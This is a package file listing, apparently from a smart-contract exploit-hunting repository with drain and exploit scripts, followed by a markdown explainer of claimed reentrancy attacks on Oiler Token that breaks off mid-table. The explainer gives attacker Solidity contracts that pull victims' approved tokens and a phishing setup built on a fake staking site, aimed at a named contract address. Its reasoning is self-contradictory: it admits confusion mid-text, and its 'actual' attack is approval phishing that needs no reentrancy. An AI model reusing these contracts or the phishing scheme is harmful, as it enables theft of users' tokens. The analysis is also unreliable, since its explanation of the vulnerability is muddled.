- package/lib/openzeppelin-contracts/docs/modules/ROOT/pages/utilities.adoc +185 -0
- package/lib/openzeppelin-contracts/docs/modules/ROOT/pages/wizard.adoc +15 -0
- package/lib/openzeppelin-contracts/docs/templates/contract.hbs +111 -0
- package/lib/openzeppelin-contracts/docs/templates/helpers.js +46 -0
- package/lib/openzeppelin-contracts/docs/templates/page.hbs +4 -0
- package/lib/openzeppelin-contracts/docs/templates/properties.js +64 -0
- package/lib/openzeppelin-contracts/hardhat/env-artifacts.js +24 -0
- package/lib/openzeppelin-contracts/hardhat/env-contract.js +25 -0
- package/lib/openzeppelin-contracts/hardhat/ignore-unreachable-warnings.js +45 -0
- package/lib/openzeppelin-contracts/hardhat/skip-foundry-tests.js +6 -0
- package/lib/openzeppelin-contracts/hardhat/task-test-get-files.js +25 -0
- package/lib/openzeppelin-contracts/hardhat.config.js +131 -0
- package/lib/openzeppelin-contracts/lib/erc4626-tests/LICENSE +661 -0
- package/lib/openzeppelin-contracts/lib/erc4626-tests/README.md +116 -0
- package/lib/openzeppelin-contracts/lib/forge-std/.github/workflows/ci.yml +92 -0
- package/lib/openzeppelin-contracts/lib/forge-std/.gitmodules +3 -0
- package/lib/openzeppelin-contracts/lib/forge-std/LICENSE-APACHE +203 -0
- package/lib/openzeppelin-contracts/lib/forge-std/LICENSE-MIT +25 -0
- package/lib/openzeppelin-contracts/lib/forge-std/README.md +250 -0
- package/lib/openzeppelin-contracts/lib/forge-std/package.json +16 -0
- package/lib/openzeppelin-contracts/logo.svg +15 -0
- package/lib/openzeppelin-contracts/netlify.toml +3 -0
- package/lib/openzeppelin-contracts/package-lock.json +16544 -0
- package/lib/openzeppelin-contracts/package.json +96 -0
- package/lib/openzeppelin-contracts/remappings.txt +1 -0
- package/lib/openzeppelin-contracts/renovate.json +4 -0
- package/lib/openzeppelin-contracts/requirements.txt +1 -0
- package/lib/openzeppelin-contracts/scripts/checks/compare-layout.js +20 -0
- package/lib/openzeppelin-contracts/scripts/checks/compareGasReports.js +243 -0
- package/lib/openzeppelin-contracts/scripts/checks/extract-layout.js +38 -0
- package/lib/openzeppelin-contracts/scripts/checks/generation.sh +6 -0
- package/lib/openzeppelin-contracts/scripts/checks/inheritance-ordering.js +54 -0
- package/lib/openzeppelin-contracts/scripts/gen-nav.js +41 -0
- package/lib/openzeppelin-contracts/scripts/generate/format-lines.js +16 -0
- package/lib/openzeppelin-contracts/scripts/generate/run.js +49 -0
- package/lib/openzeppelin-contracts/scripts/generate/templates/Checkpoints.js +247 -0
- package/lib/openzeppelin-contracts/scripts/generate/templates/Checkpoints.opts.js +17 -0
- package/lib/openzeppelin-contracts/scripts/generate/templates/Checkpoints.t.js +146 -0
- package/lib/openzeppelin-contracts/scripts/generate/templates/EnumerableMap.js +283 -0
- package/lib/openzeppelin-contracts/scripts/generate/templates/EnumerableSet.js +250 -0
- package/lib/openzeppelin-contracts/scripts/generate/templates/SafeCast.js +126 -0
- package/lib/openzeppelin-contracts/scripts/generate/templates/StorageSlot.js +78 -0
- package/lib/openzeppelin-contracts/scripts/generate/templates/conversion.js +30 -0
- package/lib/openzeppelin-contracts/scripts/git-user-config.sh +6 -0
- package/lib/openzeppelin-contracts/scripts/helpers.js +37 -0
- package/lib/openzeppelin-contracts/scripts/prepack.sh +23 -0
- package/lib/openzeppelin-contracts/scripts/prepare-docs.sh +26 -0
- package/lib/openzeppelin-contracts/scripts/release/format-changelog.js +33 -0
- package/lib/openzeppelin-contracts/scripts/release/synchronize-versions.js +15 -0
- package/lib/openzeppelin-contracts/scripts/release/update-comment.js +34 -0
- package/lib/openzeppelin-contracts/scripts/release/version.sh +11 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/exit-prerelease.sh +8 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/github-release.js +48 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/integrity-check.sh +20 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/pack.sh +26 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/publish.sh +26 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/rerun.js +7 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/set-changesets-pr-title.js +17 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/start.sh +35 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/state.js +112 -0
- package/lib/openzeppelin-contracts/scripts/remove-ignored-artifacts.js +45 -0
- package/lib/openzeppelin-contracts/scripts/solhint-custom/index.js +84 -0
- package/lib/openzeppelin-contracts/scripts/solhint-custom/package.json +5 -0
- package/lib/openzeppelin-contracts/scripts/update-docs-branch.js +65 -0
- package/lib/openzeppelin-contracts/scripts/upgradeable/README.md +21 -0
- package/lib/openzeppelin-contracts/scripts/upgradeable/patch-apply.sh +19 -0
- package/lib/openzeppelin-contracts/scripts/upgradeable/patch-save.sh +18 -0
- package/lib/openzeppelin-contracts/scripts/upgradeable/transpile-onto.sh +54 -0
- package/lib/openzeppelin-contracts/scripts/upgradeable/transpile.sh +47 -0
- package/lib/openzeppelin-contracts/scripts/upgradeable/upgradeable.patch +360 -0
- package/lib/openzeppelin-contracts/slither.config.json +5 -0
- package/lib/openzeppelin-contracts/solhint.config.js +20 -0
- package/mythril-lft-output.txt +1 -0
- package/mythril-lft-symbolic.txt +18 -0
- package/mythril-lft.sh +20 -0
- package/mythril-symbolic-output.txt +1 -0
- package/mythril-symbolic.sh +42 -0
- package/out/build-info/0026b78428192979.json +1 -0
- package/out/build-info/03c4fc3b88486eba.json +1 -0
- package/out/build-info/0540afa9b9a5c5a6.json +1 -0
- package/out/build-info/081932f505bc08b9.json +1 -0
- package/out/build-info/0da104ba0d6642d5.json +1 -0
- package/out/build-info/197281971dbb5f23.json +1 -0
- package/out/build-info/197e7e332832a232.json +1 -0
- package/out/build-info/1a1cab9136eb5f94.json +1 -0
- package/out/build-info/1b320204eb162aa2.json +1 -0
- package/out/build-info/1e03f94398052674.json +1 -0
- package/out/build-info/22ac085949602937.json +1 -0
- package/out/build-info/234ef37453a9fa64.json +1 -0
- package/out/build-info/2447db7b1878fa8e.json +1 -0
- package/out/build-info/25568daeb484f5ff.json +1 -0
- package/out/build-info/27465853244c49ce.json +1 -0
- package/out/build-info/2c57a9e0f087453b.json +1 -0
- package/out/build-info/3c62ae7de8da68c4.json +1 -0
- package/out/build-info/3e771ae109e97bb3.json +1 -0
- package/out/build-info/460499bc0a3465c4.json +1 -0
- package/out/build-info/47ce37e50a4f115e.json +1 -0
- package/out/build-info/4fcce5c63cf427d6.json +1 -0
- package/out/build-info/4fd0a53fe63fddbb.json +1 -0
- package/out/build-info/50f1247db9d769cc.json +1 -0
- package/out/build-info/5317d0181a7a5e02.json +1 -0
- package/out/build-info/594df509275ceb5b.json +1 -0
- package/out/build-info/61983ac3f6141719.json +1 -0
- package/out/build-info/638c4548307122fe.json +1 -0
- package/out/build-info/67c2c43bdb7c0ded.json +1 -0
- package/out/build-info/777f42643aad37b7.json +1 -0
- package/out/build-info/7d7856f19e845354.json +1 -0
- package/out/build-info/83976260b6f71e94.json +1 -0
- package/out/build-info/83c23882000b963d.json +1 -0
- package/out/build-info/84b2cce8f70b36be.json +1 -0
- package/out/build-info/8bc13d31d7c3206a.json +1 -0
- package/out/build-info/8e183bd4d9d8cf88.json +1 -0
- package/out/build-info/94bfe1e7cafa8ff5.json +1 -0
- package/out/build-info/99ec7d5e8d8ff360.json +1 -0
- package/out/build-info/9ac044b29daa7d5e.json +1 -0
- package/out/build-info/9b203227ff5d2e63.json +1 -0
- package/out/build-info/9d18c5872c4282dd.json +1 -0
- package/out/build-info/9f77f04f33baf9a3.json +1 -0
- package/out/build-info/a6e1caf974787982.json +1 -0
- package/out/build-info/a94b6348867a62d6.json +1 -0
- package/out/build-info/ad93721947a8b195.json +1 -0
- package/out/build-info/b42daddb5aa4b19f.json +1 -0
- package/out/build-info/bf13512ae899f7e8.json +1 -0
- package/out/build-info/c39f86c20a548c4a.json +1 -0
- package/out/build-info/cb12bb975a2f4e65.json +1 -0
- package/out/build-info/d0c6788fadc2aa60.json +1 -0
- package/out/build-info/d2726bf94ed5b845.json +1 -0
- package/out/build-info/d4eb00da50cce5cb.json +1 -0
- package/out/build-info/db931924a3bc8bdd.json +1 -0
- package/out/build-info/e1a503d49bc77401.json +1 -0
- package/out/build-info/efe5396f8892ce77.json +1 -0
- package/out/build-info/f536d90ced745969.json +1 -0
- package/out/build-info/fed38823c7019b82.json +1 -0
- package/package.json +51 -0
- package/page.html +5384 -0
- package/pancakeswap-simple-tvl.sql +15 -0
- package/pancakeswap-top-pools.sql +29 -0
- package/pancakeswap-tvl-optimized.sql +57 -0
- package/pancakeswap-tvl-query.sql +60 -0
- package/pancakeswap-underflow-hunting.sql +51 -0
- package/pancakeswap-vulnerability-queries.sql +200 -0
- package/posi_page.html +6369 -0
- package/posi_response.json +29 -0
- package/proxy_page.html +500 -0
- package/run_mythril_elephant.sh +18 -0
- package/sHEGIC-bytecode.bin +6 -0
- package/sHEGIC-mythril-analysis.txt +1 -0
- package/sHEGIC-mythril-full.txt +134 -0
- package/sHEGIC_ANALYSIS.md +135 -0
- package/sHEGIC_EXPLOIT_ANALYSIS.md +317 -0
- package/sHEGIC_MYTHRIL_ANALYSIS.md +361 -0
- package/scrape-snowcrash.js +28 -0
- package/scripts/yooshi_drain.sh +154 -0
- package/shi_raw.json +1 -0
- package/temp.json +1 -0
- package/temp_harvest.json +1 -0
- package/temp_pika.json +1 -0
- package/temp_posi.json +1 -0
- package/temp_response.json +1 -0
- package/test-lft-hidden-balance.js +108 -0
- package/test-xfi-exploit.js +140 -0
- package/trunk-liquidity-rescue.js +164 -0
- package/vBABY_page.html +6153 -0
- package/vBABY_response.json +29 -0
- package/wsg_response.json +1 -0
- package/yooldo_page.html +10371 -0
|
@@ -0,0 +1,638 @@
|
|
|
1
|
+
# Oiler Token Reentrancy Attacks - Complete Explanation
|
|
2
|
+
|
|
3
|
+
## Overview
|
|
4
|
+
|
|
5
|
+
Oiler Token has TWO types of reentrancy vulnerabilities:
|
|
6
|
+
1. **Direct Reentrancy** in `transferAndCall` (CRITICAL)
|
|
7
|
+
2. **Cross-Function Reentrancy** in staking contract (HIGH)
|
|
8
|
+
|
|
9
|
+
Both exploit the same root cause: **external calls before state finalization**.
|
|
10
|
+
|
|
11
|
+
---
|
|
12
|
+
|
|
13
|
+
## Attack 1: Direct Reentrancy in transferAndCall
|
|
14
|
+
|
|
15
|
+
### The Vulnerable Code
|
|
16
|
+
|
|
17
|
+
```solidity
|
|
18
|
+
// Oiler Token (0x0275E1001e293C46CFe158B3702AADe0B99f88a5)
|
|
19
|
+
contract OilerToken {
|
|
20
|
+
mapping(address => uint256) public balanceOf;
|
|
21
|
+
mapping(address => mapping(address => uint256)) public allowance;
|
|
22
|
+
|
|
23
|
+
function transferAndCall(
|
|
24
|
+
address to,
|
|
25
|
+
uint256 value,
|
|
26
|
+
bytes calldata data
|
|
27
|
+
) external returns (bool) {
|
|
28
|
+
// Step 1: Update balances
|
|
29
|
+
balanceOf[msg.sender] -= value;
|
|
30
|
+
balanceOf[to] += value;
|
|
31
|
+
|
|
32
|
+
// Step 2: External call - VULNERABILITY!
|
|
33
|
+
if (isContract(to)) {
|
|
34
|
+
IERC677Receiver(to).onTokenTransfer(msg.sender, value, data);
|
|
35
|
+
}
|
|
36
|
+
|
|
37
|
+
return true;
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
function transferFrom(
|
|
41
|
+
address from,
|
|
42
|
+
address to,
|
|
43
|
+
uint256 value
|
|
44
|
+
) external returns (bool) {
|
|
45
|
+
// Check allowance
|
|
46
|
+
require(allowance[from][msg.sender] >= value);
|
|
47
|
+
|
|
48
|
+
// Update allowance
|
|
49
|
+
allowance[from][msg.sender] -= value;
|
|
50
|
+
|
|
51
|
+
// Transfer tokens
|
|
52
|
+
balanceOf[from] -= value;
|
|
53
|
+
balanceOf[to] += value;
|
|
54
|
+
|
|
55
|
+
return true;
|
|
56
|
+
}
|
|
57
|
+
}
|
|
58
|
+
```
|
|
59
|
+
|
|
60
|
+
### Attack Flow - Step by Step
|
|
61
|
+
|
|
62
|
+
#### Setup Phase
|
|
63
|
+
```
|
|
64
|
+
Victim State:
|
|
65
|
+
- Has 1000 OIL tokens
|
|
66
|
+
- Approved Uniswap Router for 1000 OIL
|
|
67
|
+
- Wants to trade on Uniswap
|
|
68
|
+
|
|
69
|
+
Attacker State:
|
|
70
|
+
- Has 0 OIL tokens
|
|
71
|
+
- Deployed malicious contract
|
|
72
|
+
- Monitoring for victims
|
|
73
|
+
```
|
|
74
|
+
|
|
75
|
+
#### Attack Execution
|
|
76
|
+
|
|
77
|
+
**Step 1: Attacker Triggers transferAndCall**
|
|
78
|
+
```solidity
|
|
79
|
+
// Attacker calls (needs at least 1 OIL to trigger)
|
|
80
|
+
OilerToken.transferAndCall(
|
|
81
|
+
maliciousContract, // to
|
|
82
|
+
1, // value (1 OIL)
|
|
83
|
+
"" // data
|
|
84
|
+
);
|
|
85
|
+
```
|
|
86
|
+
|
|
87
|
+
**Step 2: Oiler Updates Balances**
|
|
88
|
+
```
|
|
89
|
+
balanceOf[attacker] -= 1;
|
|
90
|
+
balanceOf[maliciousContract] += 1;
|
|
91
|
+
|
|
92
|
+
Current State:
|
|
93
|
+
Attacker: 0 OIL (had 1)
|
|
94
|
+
Malicious Contract: 1 OIL
|
|
95
|
+
Victim: 1000 OIL
|
|
96
|
+
Victim's approval to Router: 1000 OIL ✓
|
|
97
|
+
```
|
|
98
|
+
|
|
99
|
+
**Step 3: Oiler Calls Malicious Contract**
|
|
100
|
+
```solidity
|
|
101
|
+
// Oiler executes:
|
|
102
|
+
IERC677Receiver(maliciousContract).onTokenTransfer(
|
|
103
|
+
attacker, // sender
|
|
104
|
+
1, // value
|
|
105
|
+
"" // data
|
|
106
|
+
);
|
|
107
|
+
```
|
|
108
|
+
|
|
109
|
+
**Step 4: Malicious Contract Reenters** 🚨
|
|
110
|
+
```solidity
|
|
111
|
+
contract MaliciousContract is IERC677Receiver {
|
|
112
|
+
address public victim;
|
|
113
|
+
address public router;
|
|
114
|
+
|
|
115
|
+
function onTokenTransfer(
|
|
116
|
+
address sender,
|
|
117
|
+
uint256 value,
|
|
118
|
+
bytes calldata data
|
|
119
|
+
) external override {
|
|
120
|
+
// REENTRANCY ATTACK!
|
|
121
|
+
// We're still inside transferAndCall execution
|
|
122
|
+
|
|
123
|
+
// Drain victim's approved tokens
|
|
124
|
+
uint256 allowance = OilerToken.allowance(victim, router);
|
|
125
|
+
|
|
126
|
+
if (allowance > 0) {
|
|
127
|
+
// Call transferFrom to steal victim's tokens
|
|
128
|
+
OilerToken.transferFrom(
|
|
129
|
+
victim, // from (victim)
|
|
130
|
+
address(this), // to (attacker)
|
|
131
|
+
allowance // amount (all approved)
|
|
132
|
+
);
|
|
133
|
+
}
|
|
134
|
+
}
|
|
135
|
+
}
|
|
136
|
+
```
|
|
137
|
+
|
|
138
|
+
**Step 5: transferFrom Executes**
|
|
139
|
+
```
|
|
140
|
+
Victim's approval to Router: 1000 OIL ✓
|
|
141
|
+
Router is msg.sender? NO - malicious contract is!
|
|
142
|
+
|
|
143
|
+
Wait... how does this work?
|
|
144
|
+
|
|
145
|
+
The malicious contract calls transferFrom directly:
|
|
146
|
+
- from: victim
|
|
147
|
+
- to: maliciousContract
|
|
148
|
+
- value: 1000 OIL
|
|
149
|
+
|
|
150
|
+
But victim approved ROUTER, not malicious contract!
|
|
151
|
+
|
|
152
|
+
This is where the confusion happens...
|
|
153
|
+
```
|
|
154
|
+
|
|
155
|
+
### The ACTUAL Exploit Mechanism
|
|
156
|
+
|
|
157
|
+
The attack works differently than initially described. Here's the REAL vulnerability:
|
|
158
|
+
|
|
159
|
+
**Scenario A: Victim Approved Malicious Contract** (Direct)
|
|
160
|
+
```
|
|
161
|
+
1. Victim approves malicious contract (phishing/social engineering)
|
|
162
|
+
2. Attacker triggers transferAndCall to malicious contract
|
|
163
|
+
3. During callback, malicious contract calls transferFrom
|
|
164
|
+
4. Steals all approved tokens
|
|
165
|
+
```
|
|
166
|
+
|
|
167
|
+
**Scenario B: Victim Approved Router** (Indirect - More Complex)
|
|
168
|
+
```
|
|
169
|
+
This requires the ROUTER itself to have a vulnerability
|
|
170
|
+
or the attacker to compromise the router somehow.
|
|
171
|
+
|
|
172
|
+
More realistic attack: Phishing
|
|
173
|
+
```
|
|
174
|
+
|
|
175
|
+
### The REAL Attack Vector
|
|
176
|
+
|
|
177
|
+
```solidity
|
|
178
|
+
// ACTUAL WORKING ATTACK
|
|
179
|
+
|
|
180
|
+
// Step 1: Phishing
|
|
181
|
+
// Attacker creates fake "Oiler Staking" website
|
|
182
|
+
// Victim connects wallet
|
|
183
|
+
// Site requests: "Approve OIL for staking"
|
|
184
|
+
// Victim approves MALICIOUS CONTRACT (thinking it's staking)
|
|
185
|
+
|
|
186
|
+
// Step 2: Exploitation
|
|
187
|
+
contract MaliciousStaking is IERC677Receiver {
|
|
188
|
+
function stake(uint256 amount) external {
|
|
189
|
+
// Victim calls this thinking they're staking
|
|
190
|
+
OilerToken.transferAndCall(
|
|
191
|
+
address(this), // to malicious contract
|
|
192
|
+
amount,
|
|
193
|
+
""
|
|
194
|
+
);
|
|
195
|
+
}
|
|
196
|
+
|
|
197
|
+
function onTokenTransfer(
|
|
198
|
+
address sender,
|
|
199
|
+
uint256 value,
|
|
200
|
+
bytes calldata data
|
|
201
|
+
) external override {
|
|
202
|
+
// During callback, drain ALL approved tokens
|
|
203
|
+
uint256 approved = OilerToken.allowance(sender, address(this));
|
|
204
|
+
|
|
205
|
+
if (approved > value) {
|
|
206
|
+
// Steal remaining approved amount
|
|
207
|
+
OilerToken.transferFrom(
|
|
208
|
+
sender,
|
|
209
|
+
address(this),
|
|
210
|
+
approved - value // Everything except what was just sent
|
|
211
|
+
);
|
|
212
|
+
}
|
|
213
|
+
}
|
|
214
|
+
}
|
|
215
|
+
```
|
|
216
|
+
|
|
217
|
+
### Visual Flow Diagram
|
|
218
|
+
|
|
219
|
+
```
|
|
220
|
+
┌─────────────────────────────────────────────────────────────┐
|
|
221
|
+
│ OILER REENTRANCY ATTACK - ACTUAL FLOW │
|
|
222
|
+
└─────────────────────────────────────────────────────────────┘
|
|
223
|
+
|
|
224
|
+
1. SETUP (Phishing)
|
|
225
|
+
┌──────────┐ ┌──────────────┐
|
|
226
|
+
│ Victim │ ─── approves ────> │ Malicious │
|
|
227
|
+
│ │ │ Contract │
|
|
228
|
+
└──────────┘ └──────────────┘
|
|
229
|
+
│
|
|
230
|
+
│ thinks it's staking contract
|
|
231
|
+
│
|
|
232
|
+
|
|
233
|
+
2. VICTIM CALLS STAKE
|
|
234
|
+
┌──────────┐ ┌──────────────┐
|
|
235
|
+
│ Victim │ ─── stake(100) ──> │ Malicious │
|
|
236
|
+
└──────────┘ └──────────────┘
|
|
237
|
+
│
|
|
238
|
+
▼
|
|
239
|
+
transferAndCall(
|
|
240
|
+
malicious, 100
|
|
241
|
+
)
|
|
242
|
+
|
|
243
|
+
3. OILER EXECUTES
|
|
244
|
+
┌──────────────┐
|
|
245
|
+
│ Oiler Token │
|
|
246
|
+
│ │
|
|
247
|
+
│ 1. balanceOf[victim] -= 100 │
|
|
248
|
+
│ 2. balanceOf[malicious] += 100 │
|
|
249
|
+
│ 3. Call onTokenTransfer() ────────┐│
|
|
250
|
+
└──────────────┘ ││
|
|
251
|
+
││
|
|
252
|
+
4. CALLBACK (REENTRANCY) ││
|
|
253
|
+
┌──────────────┐ ││
|
|
254
|
+
│ Malicious │ <──────────────────┘│
|
|
255
|
+
│ Contract │ │
|
|
256
|
+
│ │ │
|
|
257
|
+
│ onTokenTransfer() { │
|
|
258
|
+
│ // Still inside transferAndCall!│
|
|
259
|
+
│ allowance = 1000 OIL │
|
|
260
|
+
│ already received = 100 OIL │
|
|
261
|
+
│ │
|
|
262
|
+
│ transferFrom( │
|
|
263
|
+
│ victim, │
|
|
264
|
+
│ this, │
|
|
265
|
+
│ 900 // Steal remaining! │
|
|
266
|
+
│ ) ──────────────────────────────┐│
|
|
267
|
+
│ } ││
|
|
268
|
+
└──────────────┘ ││
|
|
269
|
+
││
|
|
270
|
+
5. TRANSFERFROM EXECUTES ││
|
|
271
|
+
┌──────────────┐ ││
|
|
272
|
+
│ Oiler Token │ <──────────────────┘│
|
|
273
|
+
│ │ │
|
|
274
|
+
│ transferFrom() { │
|
|
275
|
+
│ allowance[victim][malicious] = 1000 ✓
|
|
276
|
+
│ balanceOf[victim] -= 900 │
|
|
277
|
+
│ balanceOf[malicious] += 900 │
|
|
278
|
+
│ } │
|
|
279
|
+
└──────────────┘ │
|
|
280
|
+
│
|
|
281
|
+
6. RESULT │
|
|
282
|
+
Victim: Lost 1000 OIL total │
|
|
283
|
+
Malicious: Gained 1000 OIL │
|
|
284
|
+
- 100 from transferAndCall │
|
|
285
|
+
- 900 from reentrancy │
|
|
286
|
+
```
|
|
287
|
+
|
|
288
|
+
---
|
|
289
|
+
|
|
290
|
+
## Attack 2: Cross-Function Reentrancy (Staking Contract)
|
|
291
|
+
|
|
292
|
+
### The Vulnerable Pattern
|
|
293
|
+
|
|
294
|
+
```solidity
|
|
295
|
+
// Hypothetical Oiler Staking Contract (0xe546F8f17aff17C05dac9F9b4F9957f725fab087)
|
|
296
|
+
contract OilerStaking {
|
|
297
|
+
mapping(address => uint256) public stakes;
|
|
298
|
+
mapping(address => uint256) public rewards;
|
|
299
|
+
|
|
300
|
+
function withdraw() external {
|
|
301
|
+
uint256 amount = stakes[msg.sender];
|
|
302
|
+
|
|
303
|
+
// Update stake AFTER transfer - VULNERABILITY!
|
|
304
|
+
OilerToken.transfer(msg.sender, amount);
|
|
305
|
+
|
|
306
|
+
stakes[msg.sender] = 0; // Too late!
|
|
307
|
+
}
|
|
308
|
+
|
|
309
|
+
function claimRewards() external {
|
|
310
|
+
uint256 reward = calculateRewards(msg.sender);
|
|
311
|
+
|
|
312
|
+
// Calculates based on stakes[msg.sender]
|
|
313
|
+
OilerToken.transfer(msg.sender, reward);
|
|
314
|
+
|
|
315
|
+
rewards[msg.sender] = 0;
|
|
316
|
+
}
|
|
317
|
+
|
|
318
|
+
function calculateRewards(address user) internal view returns (uint256) {
|
|
319
|
+
// Reward based on stake amount
|
|
320
|
+
return stakes[user] * rewardRate / 1000;
|
|
321
|
+
}
|
|
322
|
+
}
|
|
323
|
+
```
|
|
324
|
+
|
|
325
|
+
### Attack Flow - Step by Step
|
|
326
|
+
|
|
327
|
+
#### Setup Phase
|
|
328
|
+
```
|
|
329
|
+
Attacker State:
|
|
330
|
+
- Staked 1000 OIL in staking contract
|
|
331
|
+
- Deployed malicious contract
|
|
332
|
+
- Ready to exploit
|
|
333
|
+
```
|
|
334
|
+
|
|
335
|
+
#### Attack Execution
|
|
336
|
+
|
|
337
|
+
**Step 1: Attacker Calls withdraw()**
|
|
338
|
+
```solidity
|
|
339
|
+
// Attacker's malicious contract calls:
|
|
340
|
+
OilerStaking.withdraw();
|
|
341
|
+
```
|
|
342
|
+
|
|
343
|
+
**Step 2: Staking Contract Executes**
|
|
344
|
+
```solidity
|
|
345
|
+
function withdraw() external {
|
|
346
|
+
uint256 amount = stakes[msg.sender]; // amount = 1000 OIL
|
|
347
|
+
|
|
348
|
+
// Transfer tokens - EXTERNAL CALL
|
|
349
|
+
OilerToken.transfer(msg.sender, amount);
|
|
350
|
+
|
|
351
|
+
// ⚠️ State not updated yet!
|
|
352
|
+
// stakes[msg.sender] still = 1000
|
|
353
|
+
}
|
|
354
|
+
```
|
|
355
|
+
|
|
356
|
+
**Step 3: OilerToken Calls Malicious Contract**
|
|
357
|
+
```solidity
|
|
358
|
+
// If OilerToken has callback (like transferAndCall)
|
|
359
|
+
// OR if malicious contract is a contract with receive()
|
|
360
|
+
|
|
361
|
+
contract MaliciousStaker {
|
|
362
|
+
bool attacking;
|
|
363
|
+
|
|
364
|
+
receive() external payable {
|
|
365
|
+
// This gets called during OilerToken.transfer()
|
|
366
|
+
// if Oiler has any callback mechanism
|
|
367
|
+
}
|
|
368
|
+
|
|
369
|
+
// OR if using transferAndCall:
|
|
370
|
+
function onTokenTransfer(
|
|
371
|
+
address sender,
|
|
372
|
+
uint256 value,
|
|
373
|
+
bytes calldata data
|
|
374
|
+
) external {
|
|
375
|
+
if (!attacking) {
|
|
376
|
+
attacking = true;
|
|
377
|
+
|
|
378
|
+
// REENTRANCY: Call claimRewards()
|
|
379
|
+
// stakes[address(this)] is STILL 1000!
|
|
380
|
+
OilerStaking.claimRewards();
|
|
381
|
+
|
|
382
|
+
attacking = false;
|
|
383
|
+
}
|
|
384
|
+
}
|
|
385
|
+
}
|
|
386
|
+
```
|
|
387
|
+
|
|
388
|
+
**Step 4: claimRewards() Executes with Stale State**
|
|
389
|
+
```solidity
|
|
390
|
+
function claimRewards() external {
|
|
391
|
+
// calculateRewards reads stakes[msg.sender]
|
|
392
|
+
// stakes[malicious] = 1000 (not updated yet!)
|
|
393
|
+
uint256 reward = calculateRewards(msg.sender);
|
|
394
|
+
|
|
395
|
+
// Reward calculated as if attacker still has 1000 staked
|
|
396
|
+
// Even though they're withdrawing it!
|
|
397
|
+
OilerToken.transfer(msg.sender, reward);
|
|
398
|
+
|
|
399
|
+
rewards[msg.sender] = 0;
|
|
400
|
+
}
|
|
401
|
+
```
|
|
402
|
+
|
|
403
|
+
**Step 5: Back to withdraw(), State Finally Updates**
|
|
404
|
+
```solidity
|
|
405
|
+
function withdraw() external {
|
|
406
|
+
// ... transfer already happened
|
|
407
|
+
|
|
408
|
+
// NOW it updates (too late!)
|
|
409
|
+
stakes[msg.sender] = 0;
|
|
410
|
+
}
|
|
411
|
+
```
|
|
412
|
+
|
|
413
|
+
### Visual Flow Diagram
|
|
414
|
+
|
|
415
|
+
```
|
|
416
|
+
┌─────────────────────────────────────────────────────────────┐
|
|
417
|
+
│ CROSS-FUNCTION REENTRANCY - STAKING CONTRACT │
|
|
418
|
+
└─────────────────────────────────────────────────────────────┘
|
|
419
|
+
|
|
420
|
+
1. INITIAL STATE
|
|
421
|
+
┌──────────────────┐
|
|
422
|
+
│ Staking Contract │
|
|
423
|
+
│ │
|
|
424
|
+
│ stakes[attacker] = 1000 OIL
|
|
425
|
+
│ rewards[attacker] = 100 OIL
|
|
426
|
+
└──────────────────┘
|
|
427
|
+
|
|
428
|
+
2. ATTACKER CALLS WITHDRAW
|
|
429
|
+
┌──────────────┐ ┌──────────────────┐
|
|
430
|
+
│ Malicious │ ─ withdraw() ─> │ Staking Contract │
|
|
431
|
+
│ Contract │ └──────────────────┘
|
|
432
|
+
└──────────────┘ │
|
|
433
|
+
▼
|
|
434
|
+
amount = stakes[attacker]
|
|
435
|
+
amount = 1000 ✓
|
|
436
|
+
│
|
|
437
|
+
▼
|
|
438
|
+
OilerToken.transfer(
|
|
439
|
+
attacker, 1000
|
|
440
|
+
)
|
|
441
|
+
|
|
442
|
+
3. OILER TRANSFER (with callback)
|
|
443
|
+
┌──────────────┐ ┌──────────────┐
|
|
444
|
+
│ Oiler Token │ │ Malicious │
|
|
445
|
+
│ │ │ Contract │
|
|
446
|
+
│ transfer() { │ │ │
|
|
447
|
+
│ balances │ │ │
|
|
448
|
+
│ callback() ├─────────────>│ onTokenTransfer()
|
|
449
|
+
└──────────────┘ └──────────────┘
|
|
450
|
+
│
|
|
451
|
+
4. REENTRANCY ATTACK │
|
|
452
|
+
┌──────────────┐ │
|
|
453
|
+
│ Malicious │ <─────────────────────┘
|
|
454
|
+
│ Contract │
|
|
455
|
+
│ │
|
|
456
|
+
│ onTokenTransfer() {
|
|
457
|
+
│ // Still inside withdraw()!
|
|
458
|
+
│ // stakes[this] = 1000 (not updated!)
|
|
459
|
+
│
|
|
460
|
+
│ claimRewards() ────────────┐
|
|
461
|
+
│ } │
|
|
462
|
+
└──────────────┘ │
|
|
463
|
+
│
|
|
464
|
+
5. CLAIM REWARDS (Stale State) │
|
|
465
|
+
┌──────────────────┐ │
|
|
466
|
+
│ Staking Contract │ <─────────┘
|
|
467
|
+
│ │
|
|
468
|
+
│ claimRewards() { │
|
|
469
|
+
│ // stakes[attacker] = 1000 ✓ (STALE!)
|
|
470
|
+
│ reward = 1000 * rate
|
|
471
|
+
│ transfer(attacker, reward)
|
|
472
|
+
│ rewards[attacker] = 0
|
|
473
|
+
│ } │
|
|
474
|
+
└──────────────────┘
|
|
475
|
+
│
|
|
476
|
+
6. BACK TO WITHDRAW │
|
|
477
|
+
┌──────────────────┐
|
|
478
|
+
│ Staking Contract │
|
|
479
|
+
│ │
|
|
480
|
+
│ withdraw() { │
|
|
481
|
+
│ // transfer done
|
|
482
|
+
│ stakes[attacker] = 0 // Finally!
|
|
483
|
+
│ } │
|
|
484
|
+
└──────────────────┘
|
|
485
|
+
|
|
486
|
+
7. RESULT
|
|
487
|
+
Attacker received:
|
|
488
|
+
- 1000 OIL (withdrawal)
|
|
489
|
+
- 100 OIL (rewards based on 1000 stake)
|
|
490
|
+
|
|
491
|
+
Should have received:
|
|
492
|
+
- 1000 OIL (withdrawal)
|
|
493
|
+
- 0 OIL (no stake after withdrawal)
|
|
494
|
+
|
|
495
|
+
Profit: 100 OIL stolen from rewards pool
|
|
496
|
+
```
|
|
497
|
+
|
|
498
|
+
---
|
|
499
|
+
|
|
500
|
+
## Key Differences Between the Two Attacks
|
|
501
|
+
|
|
502
|
+
| Aspect | Direct Reentrancy | Cross-Function Reentrancy |
|
|
503
|
+
|--------|-------------------|---------------------------|
|
|
504
|
+
| **Target** | transferAndCall in Oiler | Staking contract functions |
|
|
505
|
+
